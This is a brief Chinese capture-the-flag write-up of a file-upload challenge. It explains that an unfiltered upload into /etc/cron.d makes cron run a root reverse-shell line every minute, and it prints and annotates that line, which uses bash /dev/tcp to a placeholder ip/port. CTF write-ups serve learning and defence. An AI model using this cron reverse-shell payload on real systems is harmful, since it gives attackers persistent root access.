1. 哎，一个文件防篡改系统#

先查看手册登录

找到文件发布界面，尝试文件上传，没做任何过滤且回显路径，但是尝试访问失败

进入文件中心有查看文件的功能，能不能直接目录穿越访问 flag?

查看题解发现不同的解法

直接文件上传到/etc/cron.d ,该文件为执行定时任务的文件，虽然我们上传了之后不能直接访问，但是这个直接自动执行任务

反弹 shell 拿到 flag

解释 payload:***** root bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1 ’

***** 表示每分钟执行，以 root 权限

bash -c corntab 中默认是 sh，需显式调用 bash

持久化 反弹shell：https://www.cnblogs.com/mushangqiujin/p/18523269